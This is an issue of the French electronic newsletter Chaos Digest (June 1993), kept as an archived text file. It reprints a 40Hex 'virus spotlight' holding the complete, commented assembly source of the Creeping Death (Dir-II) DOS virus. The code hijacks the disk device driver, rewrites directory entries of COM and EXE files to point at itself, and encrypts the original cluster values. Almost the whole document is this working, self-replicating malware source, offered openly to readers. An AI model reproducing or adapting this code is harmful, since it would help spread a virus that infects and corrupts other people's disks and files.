home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / KAOS1_51.ZIP / KAOS1-51
Encoding:
Text File  |  1993-06-13  |  31.3 KB  |  643 lines

  1. Chaos Digest              Mercredi 9 Juin 1993        Volume 1 : Numero 51
  2.                             ISSN  1244-4901
  3.  
  4.        Editeur: Jean-Bernard Condat (jbcondat@attmail.com)
  5.        Archiviste: Yves-Marie Crabbe
  6.        Co-Redacteurs: Arnaud Bigare, Stephane Briere
  7.  
  8. TABLE DES MATIERES, #1.51 (9 Juin 1993)
  9. File 1--40H VMag Number 6 Volume 2 Issue 2 #00A (reprint)
  10.  
  11. Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are
  12. available at no cost by sending a message to:
  13.                 linux-activists-request@niksula.hut.fi
  14. with a mail header or first line containing the following informations:
  15.                     X-Mn-Admin: join CHAOS_DIGEST
  16.  
  17. The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070)
  18. or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P.
  19. 155, 93404 St-Ouen Cedex, France.  He is a member of the EICAR and EFF (#1299)
  20. groups.
  21.  
  22. Issues of ChaosD can also be found from the ComNet in Luxembourg BBS (+352)
  23. 466893.  Back issues of ChaosD can be found on the Internet as part of the
  24. Computer underground Digest archives. They're accessible using anonymous FTP:
  25.  
  26.         * kragar.eff.org [192.88.144.4] in /pub/cud/chaos
  27.         * uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos
  28.         * halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos
  29.         * ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest
  30.         * cs.ubc.ca [137.82.8.5] in /mirror3/EFF/cud/chaos
  31.         * ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos
  32.         * nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos
  33.         * orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos
  34.  
  35. CHAOS DIGEST is an open forum dedicated to sharing French information among
  36. computerists and to the presentation and debate of diverse views. ChaosD
  37. material may be reprinted for non-profit as long as the source is cited.
  38. Some authors do copyright their material, and they should be contacted for
  39. reprint permission.  Readers are encouraged to submit reasoned articles in
  40. French, English or German languages relating to computer culture and
  41. telecommunications.  Articles are preferred to short responses.  Please
  42. avoid quoting previous posts unless absolutely necessary.
  43.  
  44. DISCLAIMER: The views represented herein do not necessarily represent
  45.             the views of the moderators. Chaos Digest contributors
  46.             assume all responsibility for ensuring that articles
  47.             submitted do not violate copyright protections.
  48.  
  49. ----------------------------------------------------------------------
  50.  
  51. Date: Tue May 11 09:24:40 PDT 1993
  52. From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. )
  53. Subject: File 1--40H VMag Number 6 Volume 2 Issue 2 #00A (reprint)
  54.  
  55.  
  56. 40Hex Number 6 Volume 2 Issue 2                                      File 00A
  57.  
  58.      Welcome to this issue's VIRUS SPOTLITE, the infamous Creeping
  59. Death(dir2).
  60. This is one of the most impressive viruses out there, and VirusSoft looks to
  61. be
  62. a promising group in the future.  Unfortunately, the source code we obtained
  63. had almost no comments.  Dark Angel commented it as best as he possibly could,
  64. but I think it is safe to say that there may be a few discrepancies.
  65. Nonetheless, it was an excellent job, kudos to DA.  Although I am writing this
  66. header, I had nothing to do with the commenting, so Dark Angel gets all the
  67. credit.
  68.  
  69.                                                 -)GHeap
  70.  
  71. ------------------------------------------------------------------------------
  72. -
  73. ; Dark Angel's comments: I spent my entire waking hours looking at this virus.
  74. ;                        I love it.  It is my life.  I worship the drive it
  75. ;                        infects.  Take a look at it.  Let not my troubles be
  76. ;                        in vain.  Why did I do this?  I sacrifice my life for
  77. ;                        the benefit of 40Hex.  If you don't read this, I'm
  78. ;                        gonna go join [NuKE].
  79.  
  80. ;        Creeping Death  V 1.0
  81. ;
  82. ;        (C) Copyright 1991 by VirusSoft Corp.
  83.  
  84. i13org    =    5f8h
  85. i21org    =    5fch
  86.  
  87. dir_2   segment byte public
  88.         assume  cs:dir_2, ds:dir_2
  89.  
  90.         org   100h
  91.  
  92. start:
  93.          mov   sp,600h                        ;Set up the stack pointer
  94.          inc   word ptr counter               ;Generation counter
  95.          xor   cx,cx
  96.          mov   ds,cx                          ;DS points to interrupt table
  97.          lds   ax, ds:[0c1h]                  ;Find interrupt 30h
  98.          add   ax,21h                         ;Change it to Int 21h
  99.          push  ds                             ;Save it on stack for use by
  100.          push  ax                             ;subroutine "jump"
  101.          mov   ah,30h                         ;Get DOS version
  102.          call  jump
  103.          cmp   al,4                           ;DOS 4.X+ : SI = 0
  104.          sbb   si,si                          ;DOS 2/3  : SI = -1
  105.          mov   byte ptr [drive+2],byte ptr -1 ;Initialise last drive to
  106.                                               ;"never accessed"
  107.          mov   bx,60h                         ;Adjust memory in ES to
  108.          mov   ah,4ah                         ;BX paragraphs.
  109.          call  jump
  110.  
  111.          mov   ah,52h                         ;Get DOS List of Lists
  112.          call  jump                           ;to ES:BX
  113.          push  es:[bx-2]                      ;Save Segment of first MCB
  114.          lds   bx,es:[bx]                     ;DS:BX -> 1st DPB
  115.                                               ; (Drive parameter block)
  116. search:  mov   ax,[bx+si+15h]                 ;Get segment of device driver
  117.          cmp   ax,70h                         ;Is it CONFIG? (I think)
  118.          jne   next                           ;If not, try again
  119.          xchg  ax,cx                          ;Move driver segment to CX
  120.          mov   [bx+si+18h],byte ptr -1        ;Flag block must be rebuilt
  121.          mov   di,[bx+si+13h]                 ;Save offset of device driver
  122.                                               ;Original device driver
  123.                                               ;address in CX:DI
  124.          mov   [bx+si+13h],offset header      ;Replace with our own
  125.          mov   [bx+si+15h],cs                 ; (header)
  126. next:    lds   bx,[bx+si+19h]                 ;Get next device block
  127.          cmp   bx,-1                          ;Is it the last one?
  128.          jne   search                         ;If not, search it
  129.          jcxz  install
  130.  
  131.          pop   ds                             ;Restore segment of first
  132.          mov   ax,ds                          ;MCB
  133.          add   ax,ds:[3]                      ;Go to next MCB
  134.          inc   ax                             ;AX = segment next MCB
  135.          mov   dx,cs                          ;DX = MCB owning current
  136.          dec   dx                             ;     program
  137.          cmp   ax,dx                          ;Are these the same?
  138.          jne   no_boot                        ;If not, we are not currently
  139.                                               ;in the middle of a reboot
  140.          add   word ptr ds:[3],61h            ;Increase length owned by
  141.                                               ;MCB by 1552 bytes
  142. no_boot: mov   ds,dx                          ;DS = MCB owning current
  143.                                               ;program
  144.          mov   word ptr ds:[1],8              ;Set owner = DOS
  145.  
  146.          mov   ds,cx                          ;DS = segment of original
  147.                                               ;     device driver
  148.          les   ax,[di+6]                      ;ES = offset int handler
  149.                                               ;AX = offset strategy entry
  150.          mov   word ptr cs:str_block,ax       ;Save entry point
  151.          mov   word ptr cs:int_block,es       ;And int block for use in
  152.                                               ;function _in
  153.          cld                                  ;Scan for the write
  154.          mov   si,1                           ;function in the
  155. scan:    dec   si                             ;original device driver
  156.          lodsw
  157.          cmp   ax,1effh
  158.          jne   scan
  159.          mov   ax,2cah                        ;Wicked un-yar place o'
  160.          cmp   [si+4],ax                      ;doom.
  161.          je    right
  162.          cmp   [si+5],ax
  163.          jne   scan
  164. right:   lodsw
  165.          push  cs
  166.          pop   es
  167.          mov   di,offset modify+1             ;Save address of patch
  168.          stosw                                ;area so it can be changed
  169.          xchg  ax,si                          ;later.
  170.          mov   di,offset i13org               ;This is in the stack, but
  171.          cli                                  ;it is used by "i13pr"
  172.          movsw
  173.          movsw
  174.  
  175.          mov   dx,0c000h                      ;Scan for hard disk ROM
  176.                                               ;Start search @ segment C000h
  177. fdsk1:   mov   ds,dx                          ;Load up the segment
  178.          xor   si,si                          ;atart at offset 0000h
  179.          lodsw                                ;Scan for the signature
  180.          cmp   ax,0aa55h                      ;Is it the signature?
  181.          jne   fdsk4                          ;If not, change segment
  182.          cbw                                  ;clear AH
  183.          lodsb                                ;load a byte to AL
  184.          mov   cl,9
  185.          sal   ax,cl                          ;Shift left, 0 filled
  186. fdsk2:   cmp   [si],6c7h
  187.          jne   fdsk3
  188.          cmp   word ptr [si+2],4ch
  189.          jne   fdsk3
  190.          push  dx                             ;Save the segment
  191.          push  [si+4]                         ;and offset on stack
  192.          jmp   short death                    ;for use by i13pr
  193.  
  194. install: int   20h
  195. file:    db    "c:",255,0
  196. fdsk3:   inc   si                             ;Increment search offset
  197.          cmp   si,ax                          ;If we are not too high,
  198.          jb    fdsk2                          ;try again
  199. fdsk4:   inc   dx                             ;Increment search segment
  200.          cmp   dh,0f0h                        ;If we are not in high
  201.          jb    fdsk1                          ;memory, try again
  202.  
  203.          sub   sp,4                           ;effectively push dummy vars.
  204. death:   push  cs                             ;on stack for use by i13pr
  205.          pop   ds
  206.          mov   bx,ds:[2ch]                    ;Get environment from PSP
  207.          mov   es,bx
  208.          mov   ah,49h                         ;Release it (to save memory)
  209.          call  jump
  210.          xor   ax,ax
  211.          test  bx,bx                          ;Is BX = 0?
  212.          jz    boot                           ;If so, we are booting now
  213.          mov   di,1                           ;and not running a file
  214. seek:    dec   di                             ;Search for end of
  215.          scasw                                ;the environment block
  216.          jne   seek
  217.          lea   si,[di+2]                      ;SI points to filename
  218.          jmp   short exec                     ;(in DOS 3.X+)
  219.                                               ;Execute that file
  220. boot:    mov   es,ds:[16h]                    ;get PSP of parent
  221.          mov   bx,es:[16h]                    ;get PSP of parent
  222.          dec   bx                             ;go to its MCB
  223.          xor   si,si
  224. exec:    push  bx
  225.          mov   bx,offset param                ;Set up parameter block
  226.                                               ;for EXEC function
  227.          mov   [bx+4],cs                      ;segment to command line
  228.          mov   [bx+8],cs                      ;segment to 1st FCB
  229.          mov   [bx+12],cs                     ;segment to 2nd FCB
  230.          pop   ds
  231.          push  cs
  232.          pop   es
  233.  
  234.          mov   di,offset f_name
  235.          push  di                             ;Save filename offset
  236.          mov   cx,40                          ;Copy the filename to
  237.          rep   movsw                          ;the buffer
  238.          push  cs
  239.          pop   ds
  240.  
  241.          mov   ah,3dh                         ;Handle open file
  242.          mov   dx,offset file                 ;"c:",0
  243.          call  jump
  244.          pop   dx                             ;DS:DX -> filename
  245.  
  246.          mov   ax,4b00h                       ;Load and Execute
  247.          call  jump                           ;ES:BX = param block
  248.          mov   ah,4dh                         ;Get errorlevel
  249.          call  jump
  250.          mov   ah,4ch                         ;Terminate
  251.  
  252. jump:    pushf                                ;Simulate an interrupt 21h
  253.          call  dword ptr cs:[i21org]
  254.          ret
  255.  
  256.  
  257. ;--------Installation complete
  258.  
  259. i13pr:   mov   ah,3                           ;Write AL sectors from ES:BX
  260.          jmp   dword ptr cs:[i13org]          ;to track CH, sector CL,
  261.                                               ;head DH, drive DL
  262.  
  263.  
  264. main:    push  ax            ; driver
  265.          push  cx            ; strategy block
  266.          push  dx
  267.          push  ds
  268.          push  si
  269.          push  di
  270.  
  271.          push  es                             ;Move segment of parameter
  272.          pop   ds                             ;block to DS
  273.          mov   al,[bx+2]                      ;[bx+2] holds command code
  274.  
  275.          cmp   al,4                           ;Input (read)
  276.          je    input
  277.          cmp   al,8                           ;Output (write)
  278.          je    output
  279.          cmp   al,9                           ;Output (write) with verify
  280.          je    output
  281.  
  282.          call  in_                            ;Call original device
  283.          cmp   al,2                           ;Request build BPB
  284.          jne   ppp                            ;If none of the above, exit
  285.          lds   si,[bx+12h]                    ;DS:SI point to BPB table
  286.          mov   di,offset bpb_buf              ;Replace old pointer with
  287.          mov   es:[bx+12h],di                 ;a pointer to our own
  288.          mov   es:[bx+14h],cs                 ;BPB table
  289.          push  es                             ;Save segment of parameters
  290.          push  cs
  291.          pop   es
  292.          mov   cx,16                          ;Copy the old BPB table to
  293.          rep   movsw                          ;our own
  294.          pop   es                             ;Restore parameter segment
  295.          push  cs
  296.          pop   ds
  297.          mov   al,[di+2-32]                   ;AL = sectors per allocation
  298.          cmp   al,2                           ;     unit.  If less than
  299.          adc   al,0                           ;     2, increment
  300.          cbw                                  ;Extend sign to AH (clear AH)
  301.          cmp   word ptr [di+8-32],0           ;Is total number sectors = 0?
  302.          je    m32                            ;If so, big partition (>32MB)
  303.          sub   [di+8-32],ax                   ;Decrease space of disk by
  304.                                               ;one allocation unit(cluster)
  305.          jmp   short ppp                      ;Exit
  306. m32:     sub   [di+15h-32],ax                 ;Handle large partitions
  307.          sbb   word ptr [di+17h-32],0
  308.  
  309. ppp:     pop   di
  310.          pop   si
  311.          pop   ds
  312.          pop   dx
  313.          pop   cx
  314.          pop   ax
  315. rts:     retf                                 ;We are outta here!
  316.  
  317. output:  mov   cx,0ff09h
  318.          call  check                          ;is it a new disk?
  319.          jz    inf_sec                        ;If not, go away
  320.          call  in_                            ;Call original device handler
  321.          jmp   short inf_dsk
  322.  
  323. inf_sec: jmp   _inf_sec
  324. read:    jmp   _read
  325. read_:   add   sp,16                          ;Restore the stack
  326.          jmp   short ppp                      ;Leave device driver
  327.  
  328. input:   call  check                          ;Is it a new disk?
  329.          jz    read                           ;If not, leave
  330. inf_dsk: mov   byte ptr [bx+2],4              ;Set command code to READ
  331.          cld
  332.          lea   si,[bx+0eh]                    ;Load from buffer address
  333.          mov   cx,8                           ;Save device driver request
  334. save:    lodsw                                ;on the stack
  335.          push  ax
  336.          loop  save
  337.          mov   word ptr [bx+14h],1            ;Starting sector number = 1
  338.                                               ;(Read 1st FAT)
  339.          call  driver                         ;Read one sector
  340.          jnz   read_                          ;If error, exit
  341.          mov   byte ptr [bx+2],2              ;Otherwise build BPB
  342.          call  in_                            ;Have original driver do the
  343.                                               ;work
  344.          lds   si,[bx+12h]                    ;DS:SI points to BPB table
  345.          mov   ax,[si+6]                      ;Number root directory entries
  346.          add   ax,15                          ;Round up
  347.          mov   cl,4
  348.          shr   ax,cl                          ;Divide by 16 to find sectors
  349.                                               ;of root directory
  350.          mov   di,[si+0bh]                    ;DI = sectors/FAT
  351.          add   di,di                          ;Double for 2 FATs
  352.          stc                                  ;Add one for boot record
  353.          adc   di,ax                          ;Add sector size of root dir
  354.          push  di                             ;to find starting sector of
  355.                                               ;data (and read)
  356.          cwd                                  ;Clear DX
  357.          mov   ax,[si+8]                      ;AX = total sectors
  358.          test  ax,ax                          ;If it is zero, then we have
  359.          jnz   more                           ;an extended partition(>32MB)
  360.          mov   ax,[si+15h]                    ;Load DX:AX with total number
  361.          mov   dx,[si+17h]                    ;of sectors
  362. more:    xor   cx,cx
  363.          sub   ax,di                          ;Calculate FAT entry for last
  364.                                               ;sector of disk
  365.          sbb   dx,cx
  366.          mov   cl,[si+2]                      ;CL = sectors/cluster
  367.          div   cx                             ;AX = cluster #
  368.          cmp   cl,2                           ;If there is more than 1
  369.          sbb   ax,-1                          ;cluster/sector, add one
  370.          push  ax                             ;Save cluster number
  371.          call  convert                        ;AX = sector number to read
  372.                                               ;DX = offset in sector AX
  373.                                               ;     of FAT entry
  374.                                               ;DI = mask for EOF marker
  375.          mov   byte ptr es:[bx+2],4           ;INPUT (read)
  376.          mov   es:[bx+14h],ax                 ;Starting sector = AX
  377.          call  driver                         ;One sector only
  378. again:   lds   si,es:[bx+0eh]                 ;DS:SI = buffer address
  379.          add   si,dx                          ;Go to FAT entry
  380.          sub   dh,cl                          ;Calculate a new encryption
  381.          adc   dx,ax                          ;value
  382.          mov   word ptr cs:gad+1,dx           ;Change the encryption value
  383.          cmp   cl,1                           ;If there is 0 cluster/sector
  384.          je    small_                         ;then jump to "small_"
  385.          mov   ax,[si]                        ;Load AX with offset of FAT
  386.                                               ;entry
  387.          and   ax,di                          ;Mask it with value from
  388.                                               ;"convert" then test to see
  389.                                               ;if the sector is fine
  390.          cmp   ax,0fff7h                      ;16 bit reserved/bad
  391.          je    bad
  392.          cmp   ax,0ff7h                       ;12 bit reserved/bad
  393.          je    bad
  394.          cmp   ax,0ff70h                      ;12 bit reserved/bad
  395.          jne   ok
  396. bad:     pop   ax                             ;Tried to replicate on a bad
  397.          dec   ax                             ;cluster.  Try again on a
  398.          push  ax                             ;lower one.
  399.          call  convert                        ;Find where it is in the FAT
  400.          jmp   short again                    ;and try once more
  401. small_:  not   di                             ;Reverse mask bits
  402.          and   [si],di                        ;Clear other bits
  403.          pop   ax                             ;AX = cluster number
  404.          push  ax
  405.          inc   ax                             ;Need to do 2 consecutive
  406.          push  ax                             ;bytes
  407.          mov   dx,0fh
  408.          test  di,dx
  409.          jz    here
  410.          inc   dx                             ;Multiply by 16
  411.          mul   dx
  412. here:    or    [si],ax                        ;Set cluster to next
  413.          pop   ax                             ;Restore cluster of write
  414.          call  convert                        ;Calculate buffer offset
  415.          mov   si,es:[bx+0eh]                 ;Go to FAT entry (in buffer)
  416.          add   si,dx
  417.          mov   ax,[si]
  418.          and   ax,di
  419. ok:      mov   dx,di                          ;DI = mask from "convert"
  420.          dec   dx
  421.          and   dx,di                          ;Yerg!
  422.          not   di
  423.          and   [si],di
  424.          or    [si],dx                        ;Set [si] to DI
  425.  
  426.          cmp   ax,dx                          ;Did we change the FAT?
  427.          pop   ax                             ;i.e. Are we already on this
  428.          pop   di                             ;disk?
  429.          mov   word ptr cs:pointer+1,ax       ;Our own starting cluster
  430.          je    _read_                         ;If we didn't infect, then
  431.                                               ;leave the routine.  Oh
  432.                                               ;welp-o.
  433.          mov   dx,[si]
  434.          push  ds
  435.          push  si
  436.          call  write                          ;Update the FAT
  437.          pop   si
  438.          pop   ds
  439.          jnz   _read_                         ;Quit if there's an error
  440.          call  driver
  441.          cmp   [si],dx
  442.          jne   _read_
  443.          dec   ax
  444.          dec   ax
  445.          mul   cx                             ;Multiply by sectors/cluster
  446.                                               ;to find the sector of the
  447.                                               ;write
  448.          add   ax,di
  449.          adc   dx,0
  450.          push  es
  451.          pop   ds
  452.          mov   word ptr [bx+12h],2            ;Byte/sector count
  453.          mov   [bx+14h],ax                    ;Starting sector #
  454.          test  dx,dx
  455.          jz    less
  456.          mov   word ptr [bx+14h],-1           ;Flag extended partition
  457.          mov   [bx+1ah],ax                    ;Handle the sector of the
  458.          mov   [bx+1ch],dx                    ;extended partition
  459. less:    mov   [bx+10h],cs                    ;Transfer address segment
  460.          mov   [bx+0eh],100h                  ;and the offset (duh)
  461.          call  write                          ;Zopy ourselves!
  462.                                               ;(We want to travel)
  463. _read_:  std
  464.          lea   di,[bx+1ch]                    ;Restore device driver header
  465.          mov   cx,8                           ;from the stack
  466. load:    pop   ax
  467.          stosw
  468.          loop  load
  469. _read:   call  in_                            ;Call original device handler
  470.  
  471.          mov   cx,9
  472. _inf_sec:
  473.          mov   di,es:[bx+12h]                 ;Bytes/Sector
  474.          lds   si,es:[bx+0eh]                 ;DS:SI = pointer to buffer
  475.          sal   di,cl                          ;Multiply by 512
  476.                                               ;DI = byte count
  477.          xor   cl,cl
  478.          add   di,si                          ;Go to address in the buffer
  479.          xor   dl,dl                          ;Flag for an infection in
  480.                                               ;function find
  481.          push  ds
  482.          push  si
  483.          call  find                           ;Infect the directory
  484.          jcxz  no_inf
  485.          call  write                          ;Write it back to the disk
  486.          and   es:[bx+4],byte ptr 07fh        ;Clear error bit in status
  487.                                               ;word
  488. no_inf:  pop   si
  489.          pop   ds
  490.          inc   dx                             ;Flag for a decryption in
  491.                                               ;function find
  492.          call  find                           ;Return right information to
  493.                                               ;calling program
  494.          jmp   ppp
  495.  
  496. ;--------Subroutines
  497.  
  498. find:    mov   ax,[si+8]                      ;Check filename extension
  499.          cmp   ax,"XE"                        ;in directory structure
  500.          jne   com
  501.          cmp   [si+10],al
  502.          je    found
  503. com:     cmp   ax,"OC"
  504.          jne   go_on
  505.          cmp   byte ptr [si+10],"M"
  506.          jne   go_on
  507. found:   test  [si+1eh],0ffc0h ; >4MB         ;Check file size high word
  508.          jnz   go_on                          ;to see if it is too big
  509.          test  [si+1dh],03ff8h ; <2048B       ;Check file size low word
  510.          jz    go_on                          ;to see if it is too small
  511.          test  [si+0bh],byte ptr 1ch          ;Check attribute for subdir,
  512.          jnz   go_on                          ;volume label or system file
  513.          test  dl,dl                          ;If none of these, check DX
  514.          jnz   rest                           ;If not 0, decrypt
  515. pointer: mov   ax,1234h                       ;mov ax, XX modified elsewhere
  516.          cmp   ax,[si+1ah]                    ;Check for same starting
  517.                                               ;cluster number as us
  518.          je    go_on                          ;If it is, then try another
  519.          xchg  ax,[si+1ah]                    ;Otherwise make it point to
  520.                                               ;us.
  521. gad:     xor   ax,1234h                       ;Encrypt their starting
  522.                                               ;cluster
  523.          mov   [si+14h],ax                    ;And put it in area reserved
  524.                                               ;by DOS for no purpose
  525.          loop  go_on                          ;Try another file
  526. rest:    xor   ax,ax                          ;Disinfect the file
  527.          xchg  ax,[si+14h]                    ;Get starting cluster
  528.          xor   ax,word ptr cs:gad+1           ;Decrypt the starting cluster
  529.          mov   [si+1ah],ax                    ;and put it back
  530. go_on:   db    2eh,0d1h,6                     ;rol cs:[gad+1], 1
  531.          dw    offset gad+1                   ;Change encryption and
  532.          add   si,32                          ;go to next file
  533.          cmp   di,si                          ;If it is not past the end of
  534.          jne   find                           ;the buffer, then try again
  535.          ret                                  ;Otherwise quit
  536.  
  537. check:   mov   ah,[bx+1]                      ;ah = unit code (block device
  538.                                               ;                only)
  539. drive:   cmp   ah,-1                          ;cmp ah, XX can change.
  540.                                               ;Compare with the last call
  541.                                               ;-1 is just a dummy
  542.                                               ;impossible value that will
  543.                                               ;force the change to be true
  544.          mov   byte ptr cs:[drive+2],ah       ;Save this call's drive
  545.          jne   changed                        ;If not the same as last call
  546.                                               ;media has changed
  547.          push  [bx+0eh]                       ;If it is the same physical
  548.                                               ;drive, see if floppy has
  549.                                               ;been changed
  550.          mov   byte ptr [bx+2],1              ;Tell original driver to do a
  551.          call  in_                            ;media check (block only)
  552.          cmp   byte ptr [bx+0eh],1            ;Returns 1 in [bx+0eh] if
  553.          pop   [bx+0eh]                       ;media has not been changed
  554.          mov   [bx+2],al                      ;Restore command code
  555. changed: ret                                  ;CF,ZF set if media has not
  556.                                               ;been changed, not set if
  557.                                               ;has been changed or we don't
  558.                                               ;know
  559. write:   cmp   byte ptr es:[bx+2],8           ;If we want OUTPUT, go to
  560.          jae   in_                            ;original device handler
  561.                                               ;and return to caller
  562.          mov   byte ptr es:[bx+2],4           ;Otherwise, request INPUT
  563.          mov   si,70h
  564.          mov   ds,si                          ;DS = our segment
  565. modify:  mov   si,1234h                       ;Address is changed elsewhere
  566.          push  [si]
  567.          push  [si+2]
  568.          mov   [si],offset i13pr
  569.          mov   [si+2],cs
  570.          call  in_                            ;Call original device handler
  571.          pop   [si+2]
  572.          pop   [si]
  573.          ret
  574.  
  575. driver:  mov   word ptr es:[bx+12h],1         ;One sector
  576. in_:                                          ;in_ first calls the strategy
  577.                                               ;of the original device
  578.                                               ;driver and then calls the
  579.                                               ;interrupt handler
  580.          db    09ah                           ;CALL FAR PTR
  581. str_block:
  582.          dw    ?,70h                          ;address
  583.          db    09ah                           ;CALL FAR PTR
  584. int_block:
  585.          dw    ?,70h                          ;address
  586.          test  es:[bx+4],byte ptr 80h         ;Was there an error?
  587.          ret
  588.  
  589. convert: cmp   ax,0ff0h                       ;0FFF0h if 12 bit FAT
  590.          jae   fat_16                         ;0FF0h = reserved cluster
  591.          mov   si,3                           ;12 bit FAT
  592.          xor   word ptr cs:[si+gad-1],si      ;Change the encryption value
  593.          mul   si                             ;Multiply by 3 and
  594.          shr   ax,1                           ;divide by 2
  595.          mov   di,0fffh                       ;Mark it EOF (low 12 bits)
  596.          jnc   cont                           ;if it is even, continue
  597.          mov   di,0fff0h                      ;otherwise, mark it EOF (high
  598.          jmp   short cont                     ;12 bits) and then continue
  599. fat_16:  mov   si,2                           ;16 bit FAT
  600.          mul   si                             ;Double cluster #
  601.          mov   di,0ffffh                      ;Mark it as end of file
  602. cont:    mov   si,512
  603.          div   si                             ;AX = sector number
  604.                                               ;(relative to start of FAT)
  605.                                               ;DX = offset in sector AX
  606. header:  inc   ax                             ;Increment AX to account for
  607.          ret                                  ;boot record
  608.  
  609. counter: dw    0
  610.  
  611.          dw    842h                           ;Attribute
  612.                                               ; Block device
  613.                                               ; DOS 3 OPEN/CLOSE removable
  614.                                               ;       media calls supported
  615.                                               ; Generic IOCTL call supported
  616.                                               ;Supports 32 bit sectors
  617.          dw    offset main                    ;Strategy routine
  618.          dw    offset rts                     ;Interrupt routine (rtf)
  619.          db    7fh                            ;Number of subunits supported
  620.                                               ;by this driver.  Wow, lookit
  621.                                               ;it -- it's so large and juicy
  622.  
  623. ; Parameter block format:
  624. ; 0  WORD Segment of environment
  625. ; 2 DWORD pointer to command line
  626. ; 6 DWORD pointer to 1st default FCB
  627. ;10 DWORD pointer to 2nd default FCB
  628. param:   dw    0,80h,?,5ch,?,6ch,?
  629.  
  630. bpb_buf: db    32 dup(?)
  631. f_name:  db    80 dup(?)
  632.  
  633. ;--------The End.
  634. dir_2   ends
  635.         end     start
  636.  
  637. MsDos
  638.  
  639. ------------------------------
  640.  
  641. End of Chaos Digest #1.51
  642. ************************************
  643.